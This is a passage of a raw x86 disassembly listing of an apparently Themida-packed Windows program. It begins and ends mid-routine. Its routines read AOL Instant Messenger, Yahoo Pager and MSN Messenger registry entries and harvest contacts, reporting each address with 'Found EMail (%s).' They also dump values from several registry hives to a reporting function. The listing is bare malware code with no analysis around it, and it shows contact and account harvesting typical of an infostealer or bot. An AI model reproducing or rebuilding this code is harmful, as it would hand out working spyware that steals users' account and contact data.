xor ecx, edi add ecx, [esp+5Ch+var_34] lea eax, [eax+ecx-70F3336Eh] mov ecx, eax shr ecx, 16h shl eax, 0Ah or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_18] lea edx, [edx+eax-100B83h] mov eax, edx shr eax, 11h shl edx, 0Fh or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_3C] lea edi, [edi+edx-7A7BA22Fh] mov edx, edi shl edx, 15h shr edi, 0Bh or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_20] lea ebx, [ebx+edi+6FA87E4Fh] mov edi, ebx shr edi, 1Ah shl ebx, 6 or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi xor ebx, edx add ebx, [esp+5Ch+var_4] lea ecx, [ecx+ebx-1D31920h] mov ebx, ecx shr ebx, 16h shl ecx, 0Ah or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_28] lea eax, [eax+ecx-5CFEBCECh] mov ecx, eax shr ecx, 11h shl eax, 0Fh or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_C] lea edx, [edx+eax+4E0811A1h] mov eax, edx shl eax, 15h shr edx, 0Bh or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_30] lea edi, [edi+edx-8AC817Eh] mov edx, edi shr edx, 1Ah shl edi, 6 or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_14] lea ebx, [ebx+edi-42C50DCBh] mov edi, ebx shr edi, 16h shl ebx, 0Ah or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi push 40h xor ebx, edx push 0 add ebx, [esp+64h+var_38] lea ecx, [ecx+ebx+2AD7D2BBh] mov ebx, ecx shr ebx, 11h shl ecx, 0Fh or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, ebp mov ebp, [esi+8] add ebp, ebx lea eax, [eax+ecx-14792C6Fh] mov ecx, [esi] add ecx, edx mov edx, eax shl edx, 15h shr eax, 0Bh or edx, eax mov eax, [esi+4] add edx, ebx mov ebx, [esi+0Ch] add eax, edx add ebx, edi mov [esi+4], eax lea eax, [esp+64h+var_40] push eax mov [esi], ecx mov [esi+8], ebp mov [esi+0Ch], ebx call sub_434770 add esp, 18h pop edi pop esi pop ebp pop ebx add esp, 40h retn sub_433AB0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 21h dup(0CCh) byte_434421 db 23Fh dup(0CCh) ; DATA XREF: Themida_:00598529o ; =============== S U B R O U T I N E ======================================= sub_434660 proc near ; CODE XREF: sub_433A20+14p ; sub_433A20+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi mov edi, [esp+4+arg_8] test edi, edi jbe short loc_4346A7 mov edx, [esp+4+arg_0] mov ecx, [esp+4+arg_4] push esi or esi, 0FFFFFFFFh lea eax, [edx+1] sub esi, edx loc_43467A: ; CODE XREF: sub_434660+44j mov dl, [ecx] add ecx, 4 mov [eax-1], dl mov edx, [ecx-4] shr edx, 8 mov [eax], dl mov edx, [ecx-4] shr edx, 10h mov [eax+1], dl mov edx, [ecx-4] shr edx, 18h mov [eax+2], dl add eax, 4 lea edx, [esi+eax] cmp edx, edi jb short loc_43467A pop esi loc_4346A7: ; CODE XREF: sub_434660+7j pop edi retn sub_434660 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4346D0 proc near ; CODE XREF: sub_433AB0+26p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp mov ebp, [esp+4+arg_8] test ebp, ebp jbe short loc_43471A mov ecx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi mov edi, 0FFFFFFFEh lea eax, [ecx+2] sub edi, ecx loc_4346ED: ; CODE XREF: sub_4346D0+46j xor ecx, ecx xor edx, edx mov ch, [eax+1] mov dl, [eax-1] mov cl, [eax] add eax, 4 shl ecx, 8 or ecx, edx xor edx, edx mov dl, [eax-6] add esi, 4 shl ecx, 8 or ecx, edx mov [esi-4], ecx lea ecx, [edi+eax] cmp ecx, ebp jb short loc_4346ED pop edi pop esi loc_43471A: ; CODE XREF: sub_4346D0+7j pop ebp retn sub_4346D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434740 proc near ; CODE XREF: sub_433940+4Ep ; sub_433940+9Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] test esi, esi jbe short loc_43475C mov eax, [esp+4+arg_0] mov ecx, [esp+4+arg_4] sub ecx, eax loc_434753: ; CODE XREF: sub_434740+1Aj mov dl, [ecx+eax] mov [eax], dl inc eax dec esi jnz short loc_434753 loc_43475C: ; CODE XREF: sub_434740+7j pop esi retn sub_434740 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434770 proc near ; CODE XREF: sub_433A20+60p ; sub_433AB0+932p arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] test ecx, ecx jbe short locret_43479E mov al, [esp+arg_4] push ebx mov bl, al mov edx, ecx mov bh, bl push edi mov edi, [esp+8+arg_0] mov eax, ebx shl eax, 10h mov ax, bx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb pop edi pop ebx locret_43479E: ; CODE XREF: sub_434770+6j retn sub_434770 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4347B0 proc near ; CODE XREF: sub_401C0Dj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4347B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 0Bh push 3 push 4Fh push 14h push 5 lea eax, [esp+58h+var_3C] push 7 mov esi, ecx push eax call sub_4019B5 add esp, 20h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_4347B0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Dh push 4Fh push 14h push 5 lea edx, [esp+30h] push 7 push edx call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017E4 add esi, 32h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4348A0: ; CODE XREF: ___:loc_401F1Ej push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43BDF6 push eax mov eax, 16D4h mov large fs:0, esp call sub_436840 push ebx push ebp push esi mov esi, [esp+16F0h] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_434E5E push 80h mov dword ptr [esp+1Ch], 800h call near ptr 77C2C407h nop add esp, 4 mov ebp, eax lea eax, [esp+64h] mov ecx, esi push offset asc_443600 ; " " push 1 push eax call sub_4016AE push 800h mov dword ptr [esp+16F0h], 0 call sub_4367FA ; --------------------------------------------------------------------------- db 8Bh dd 50F7241Dh, 4C48300h, 0B9F88Bh, 33000002h, 83D89C0h dd 0F30050E4h, 57D4BEABh, 4E8B0044h, 4C8D51FCh, 0EE85024h dd 8DFFFCCFh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCCB6Fh dd 0FB1C3D8Bh, 0FF500050h, 4C483D7h, 4C244C8Dh, 0CB59E850h dd 0FF50FFFCh, 4C483D7h, 0D9E89050h, 83778132h, 0C08508C4h dd 26A840Fh, 3E810000h, 80000001h, 9B840Fh, 568B0000h dd 0F0685204h, 55004435h, 9104E890h, 0B9001Bh, 33000002h dd 24BC8DC0h, 6F0h, 0F30CC483h, 100B9ABh, 0CBF0000h, 0F30050E4h dd 0E408A1ABh, 4C8D0050h, 948D1824h, 6E424h, 0C75100h dd 0 dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 443D4C68h dd 694F8D00h, 0FCCABEE8h, 938F8AFFh, 50000000h, 94878Ah dd 51500000h, 4D60B568h, 0CE1AE800h, 0C483FFFCh, 90006A1Ch dd 4AB5C7E8h, 81168B02h, 1FAh, 0B5850F80h, 0A0000001h dd 446F70h, 40B9h, 24848800h, 0E0h, 0BC8DC033h, 0E124h dd 2444C700h, 10428h, 66ABF300h, 4C8DAAABh, 448D4424h dd 50513024h, 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h dd 50514424h, 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h dd 424848Dh, 51000001h, 44C75250h, 4424h, 4DE80000h, 900245B5h dd 1424448Bh, 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh dd 4C8D0000h, 548D4424h, 6A512024h, 6A006A00h, 24848D00h dd 0EF4h, 68575052h, 80000003h, 402444C7h, 800h, 46B507E8h dd 0C0859002h, 0E9850Fh, 4E8B0000h, 24948D04h, 0EE4h, 84685251h dd 55004436h, 20244489h, 1B8F95E8h, 0B99000h, 33000002h dd 24BC8DC0h, 6F4h, 0F310C483h, 100B9ABh, 0CBF0000h, 0F30050E4h dd 24448DABh, 19685010h, 6A000200h, 3685500h, 90800000h dd 4DB4ABE8h, 8468B02h, 18244C8Dh, 0E424948Dh, 51000006h dd 14244C8Bh, 6A006A52h, 0FF515000h, 74C085D3h, 24548B0Bh dd 0E8905210h, 24AB480h, 8D08568Bh, 8D182444h, 6E4248Ch dd 8B500000h, 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h dd 8BFC568Bh, 16F424BCh, 8C8D0000h, 6E424h, 68525100h dd 443D4Ch, 0E8694F8Dh, 0FFFCC913h, 938F8Ah, 8A500000h dd 9487h, 68515000h, 4D60B5h, 0FCCC6FE8h, 1CC483FFh, 1024548Bh dd 0B41AE852h, 8B90024Ah, 8B24247Ch, 47142444h, 7C89F83Bh dd 820F2424h, 0FFFFFED2h, 4C244C8Dh, 0EC2484C6h, 16h, 0FCC619E8h dd 10C683FFh, 5A24FE81h, 820F0044h, 0FFFFFD2Ah, 0F75C2D8Bh dd 448D0050h, 68501C24h, 20019h, 0B068006Ah, 6800445Bh dd 80000002h, 302444C7h, 0 dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h dd 6A525100h, 68006A00h, 446A6Ch, 85D3FF50h, 0C1850FC0h dd 68000000h, 104h, 778DE890h, 0C483777Fh, 248C8D04h, 2E4h dd 0A468F08Bh, 5100445Bh, 446A5C68h, 0E8905600h, 1B8E1Ah dd 443E8C68h, 6DE85600h, 907780A3h, 0C483F88Bh, 74FF8518h dd 948D5775h, 8024h, 52646A00h, 80BEF4E8h, 0C4839077h dd 74C0850Ch, 24448D53h, 6A44687Ch, 0E8500044h, 77812F8Ch dd 8C48390h, 3C75C085h, 0F424948Bh, 8D000016h, 517C244Ch dd 446A2868h, 694A8D00h, 0FCC7DEE8h, 848B50FFh, 170024h dd 94888A00h, 8A000000h, 9390h, 68525100h, 4D60B5h, 0FCCB33E8h dd 18C483FFh, 92E89057h, 837780BDh, 0F68504C4h, 90560A74h dd 7F74EEE8h, 4C48377h, 1C24448Bh, 0C5E89050h, 8D024AB2h dd 0C71C244Ch, 80182444h, 51000000h, 2001968h, 68006A00h dd 446A00h, 268h, 8BD5FF80h, 8D1C244Ch, 8D182454h, 2E42484h dd 50520000h, 6A006Ah, 446A6C68h, 0D3FF5100h, 850FC085h dd 0BAh, 10468h, 7CE89000h, 83777F76h, 948D04C4h, 2E424h dd 68F08B00h, 4469F8h, 69E86852h, 0E8560044h, 1B8D0Ah dd 3E8C6890h, 90560044h, 80A25BE8h, 83F88B77h, 0FF8518C4h dd 8D576E74h, 802484h, 646A0000h, 0BDE3E850h, 83907780h dd 0C0850CC4h, 4C8D4C74h, 0CC687C24h, 51004469h, 2E7AE890h dd 0C4837781h, 75C08508h, 249C8B35h, 16F4h, 7C24548Dh dd 69B06852h, 4B8D0044h, 0C6CDE869h, 8B8AFFFCh, 93h, 94838A50h dd 50000000h, 60B56851h, 29E8004Dh, 83FFFCCAh, 905718C4h dd 80BC88E8h, 4C48377h, 0A74F685h, 0E4E89056h, 83777F73h dd 548B04C4h, 90521C24h, 4AB1BBE8h, 244C8D02h, 2484C764h dd 16ECh, 0FFFFFFFFh, 0FCC3CDE8h, 184E9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_434E5E: ; CODE XREF: ___:004348E1j lea ecx, [edi+32h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_434FE2 lea eax, [esp+10h] push eax push 0F003Fh push 0 push offset aSoftwareAmeric ; "Software\\America Online\\AOL Instant Mes"... push 80000001h nop call near ptr 2910000h test eax, eax jnz loc_434FE2 mov ecx, 40h lea edi, [esp+1E4h] rep stosd lea ecx, [esp+14h] lea edx, [esp+1E4h] push ecx mov ecx, [esp+14h] lea eax, [esp+24h] push edx push eax push 0 push offset dword_446948 push ecx mov dword ptr [esp+2Ch], 100h nop call near ptr 28C0000h test eax, eax jz short loc_434EE8 mov edx, [esp+10h] push edx nop call near ptr 28E0000h jmp loc_434FE2 ; --------------------------------------------------------------------------- loc_434EE8: ; CODE XREF: ___:00434ED6j mov eax, [esp+14h] mov ecx, [esp+10h] mov ebp, dword_50F738 push ecx mov byte ptr [esp+eax+1E8h], 0 call ebp lea edx, [esp+1E4h] lea ebx, [esi+69h] push edx push offset dword_44693C mov ecx, ebx call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 18h lea edx, [esp+10h] push edx push 0F003Fh push 0 push offset aSoftwareYahooP ; "Software\\Yahoo\\Pager" push 80000001h nop call near ptr 2910000h test eax, eax jnz loc_434FE2 mov ecx, 40h lea edi, [esp+0E0h] rep stosd lea eax, [esp+14h] lea ecx, [esp+0E0h] push eax mov eax, [esp+14h] lea edx, [esp+24h] push ecx push edx push 0 push offset aYahooUserId ; "Yahoo! User ID" push eax mov dword ptr [esp+2Ch], 100h nop call near ptr 28C0000h test eax, eax jz short loc_434F9F mov ecx, [esp+10h] push ecx call ebp jmp short loc_434FE2 ; --------------------------------------------------------------------------- loc_434F9F: ; CODE XREF: ___:00434F94j mov edx, [esp+14h] mov eax, [esp+10h] push eax mov byte ptr [esp+edx+1E8h], 0 call ebp lea ecx, [esp+0E0h] push ecx push offset aYahooS ; "yahoo: %s" mov ecx, ebx call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_434FE2: ; CODE XREF: ___:00434E70j ; ___:00434E94j ... mov ecx, [esp+16E4h] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 16E0h retn 4 ; --------------------------------------------------------------------------- db 90h db 1E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4351E0 proc near ; CODE XREF: sub_4016F4j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4351E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 5 push 4Fh push 14h push 5 lea eax, [esp+3Ch+var_24] push 7 mov esi, ecx push eax call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017E4 add esi, 4 push eax push esi mov ecx, offset dword_447158 call sub_401591 sub_4351E0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_435280: ; CODE XREF: ___:loc_401FD7j sub esp, 6CCh add ecx, 4 push ebx push ebp push esi push edi call sub_4017E4 mov ebp, [esp+6E0h] push eax lea ecx, [ebp+7Eh] call sub_4012EE test eax, eax jnz loc_43551E lea eax, [esp+14h] mov dword ptr [esp+20h], 320h push eax push 0F003Fh push 0 push offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"... push 80000001h call near ptr 2910000h nop mov eax, [esp+14h] test eax, eax jz loc_43551E lea ecx, [esp+20h] lea edx, [esp+1D8h] push ecx push edx push 0 push 0 push offset byte_446F70 push eax call near ptr 28C0000h nop mov eax, [esp+14h] push eax call near ptr 28E0000h nop push 0 push 80h push 4 push 0 push 1 lea ecx, [esp+1ECh] push 80000000h push ecx nop call near ptr 2840000h push 0 push 0 push 0 mov edi, eax push 2 push 0 push edi mov [esp+34h], edi nop call near ptr 2700000h mov ebx, eax test ebx, ebx mov [esp+24h], ebx jnz short loc_435359 push edi nop call near ptr 282071Eh pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- loc_435359: ; CODE XREF: ___:00435341j push 0 push 0 push 0 push 4 push ebx nop call near ptr 270066Dh mov esi, eax test esi, esi jnz short loc_435389 mov esi, dword_50F8D8 push ebx call esi push edi call esi pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- loc_435389: ; CODE XREF: ___:0043536Cj xor edx, edx xor eax, eax mov dh, [esi+63h] mov ah, [esi+61h] mov dl, [esi+62h] and eax, 0FFFFh movsx ecx, byte ptr [esi+64h] shl edx, 10h or edx, eax xor eax, eax mov al, [esi+60h] or edx, eax mov eax, ecx shl eax, 4 add eax, ecx shl eax, 2 test eax, eax jle short loc_435428 lea ecx, [eax+43h] mov eax, 0F0F0F0F1h lea edi, [edx+esi] mul ecx mov ebx, edx shr ebx, 6 loc_4353CB: ; CODE XREF: ___:0043541Ej xor eax, eax mov ecx, edi loc_4353CF: ; CODE XREF: ___:004353DFj mov dl, [ecx] add ecx, 2 mov [esp+eax+0ACh], dl inc eax cmp eax, 44h jle short loc_4353CF lea eax, [esp+0ACh] lea ecx, [ebp+69h] push eax push offset aFoundEmailS_ ; "Found EMail (%s)." mov byte ptr [esp+0F8h], 0 call sub_4014D3 mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 18h add edi, 44h dec ebx jnz short loc_4353CB mov ebx, [esp+24h] mov edi, [esp+1Ch] loc_435428: ; CODE XREF: ___:004353B7j push edi mov edi, dword_50F8D8 call edi push esi nop call near ptr 2700812h push ebx call edi lea eax, [esp+18h] push eax push 0F003Fh push 0 push offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"... push 80000001h call near ptr 2910000h nop test eax, eax jnz loc_43551E mov ebx, off_50FBF0 mov dword ptr [esp+10h], 400h mov dword ptr [esp+28h], 3 xor esi, esi loc_435477: ; CODE XREF: ___:0043550Ej mov ecx, 20h xor eax, eax lea edi, [esp+2Ch] push esi rep stosd lea ecx, [esp+30h] push offset dword_446A88 push ecx call ebx ; sub_5EDAB2 mov ecx, 100h xor eax, eax lea edi, [esp+2E8h] add esp, 0Ch rep stosd lea edx, [esp+10h] lea eax, [esp+2DCh] push edx lea ecx, [esp+2Ch] push eax mov eax, [esp+20h] push ecx lea edx, [esp+38h] push 0 push edx push eax inc esi mov dword ptr [esp+28h], 400h call near ptr 28C0000h nop test eax, eax jnz short loc_435513 lea ecx, [esp+2DCh] push ecx push offset dword_446A7C lea ecx, [ebp+69h] call sub_4014D3 mov dl, [ebp+94h] push eax mov al, [ebp+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h push 64h nop call near ptr 2811D0Bh jmp loc_435477 ; --------------------------------------------------------------------------- loc_435513: ; CODE XREF: ___:004354D3j mov ecx, [esp+18h] push ecx nop call near ptr 28E0000h loc_43551E: ; CODE XREF: ___:004352A4j ; ___:004352D4j ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- db 3 dup(90h) db 0B0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4355E0 proc near ; CODE XREF: sub_401E47j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4355E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 7 push 5 push 12h push 4Fh push 14h push 5 lea eax, [esp+5Ch+var_3C] push 7 mov esi, ecx push eax call sub_4019B5 add esp, 24h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_401681 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_4355E0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Bh push 17h push 4Fh push 14h push 5 lea edx, [esp+34h] push 7 push edx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_401681 add esi, 32h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4356F0 proc near ; CODE XREF: sub_401E4Cj var_135 = byte ptr -135h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = byte ptr -124h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4356F0 push eax mov large fs:0, esp sub esp, 12Ch push ebx push esi mov esi, [esp+140h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_435BC7 push ebp xor ebp, ebp push ebp push offset asc_443600 ; " " lea eax, [esp+150h+var_128] push 1 push eax mov ecx, esi mov [esp+158h+var_134], ebp mov [esp+158h+var_130], 80h call sub_4011EA lea ecx, [esp+148h+var_134] mov [esp+148h+var_4], ebp push ecx push 20019h push ebp mov ecx, eax call sub_4017E4 mov edi, dword_50F75C push eax push 80000001h call edi or ebx, 0FFFFFFFFh lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push ebp push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push ebp push ebp mov ecx, eax mov dword ptr [esp+154h], 1 call sub_4017E4 mov ebp, dword_50F724 push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_43581C lea ecx, [esp+144h+var_108] push ecx push (offset loc_446BCB+1) lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_43581C: ; CODE XREF: sub_4356F0+FCj mov ecx, [esp+144h+var_130] push ecx nop call near ptr 28E0000h push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 2 push ecx push 20019h push 0 mov ecx, eax call sub_4017E4 push eax push 80000002h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 3 call sub_4017E4 push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_435904 lea ecx, [esp+144h+var_108] push ecx push (offset loc_446BBF+1) lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_435904: ; CODE XREF: sub_4356F0+1E4j mov ecx, [esp+144h+var_130] push ecx nop call near ptr 28E0000h push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 4 push ecx push 20019h push 0 mov ecx, eax call sub_4017E4 push eax push 80000005h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 5 call sub_4017E4 push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_4359EC lea ecx, [esp+144h+var_108] push ecx push offset loc_446BB4 lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_4359EC: ; CODE XREF: sub_4356F0+2CCj mov ecx, [esp+144h+var_130] push ecx nop call near ptr 28E0000h push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 6 push ecx push 20019h push 0 mov ecx, eax call sub_4017E4 push eax push 80000000h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 7 call sub_4017E4 push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_435AD4 lea ecx, [esp+144h+var_108] push ecx push offset aHkcrS ; "HKCR: %s" lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_435AD4: ; CODE XREF: sub_4356F0+3B4j mov ecx, [esp+144h+var_130] push ecx nop call near ptr 28E0000h push 0 push offset asc_443600 ; " " lea edx, [esp+150h+var_128] push 1 push edx mov ecx, esi mov [esp+158h+var_130], 80h call sub_4011EA lea ecx, [esp+148h+var_134] mov [esp+148h+var_4], 8 push ecx push 20019h push 0 mov ecx, eax call sub_4017E4 push eax push 80000003h call edi lea ecx, [esp+148h+var_128] mov [esp+148h+var_4], ebx call sub_401226 push 0 push offset asc_443600 ; " " lea edx, [esp+150h+var_128] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+148h+var_130] lea edx, [esp+148h+var_10C] push ecx push edx push 0 push 0 mov ecx, eax mov [esp+158h+var_4], 9 call sub_4017E4 push eax mov eax, [esp+15Ch+var_134] push eax call ebp test eax, eax lea ecx, [esp+148h+var_128] mov [esp+148h+var_4], ebx setz [esp+148h+var_135] call sub_401226 mov al, [esp+148h+var_135] pop ebp test al, al jz short loc_435BBD lea ecx, [esp+144h+var_10C] push ecx push offset aHkuS ; "HKU: %s" lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_435BBD: ; CODE XREF: sub_4356F0+49Dj mov ecx, [esp+144h+var_134] push ecx jmp loc_435C61 ; --------------------------------------------------------------------------- loc_435BC7: ; CODE XREF: sub_4356F0+3Cj lea ecx, [edi+32h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_435C67 lea edx, [esp+144h+var_12C] mov [esp+144h+var_12C], eax push edx push 20019h push eax push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov 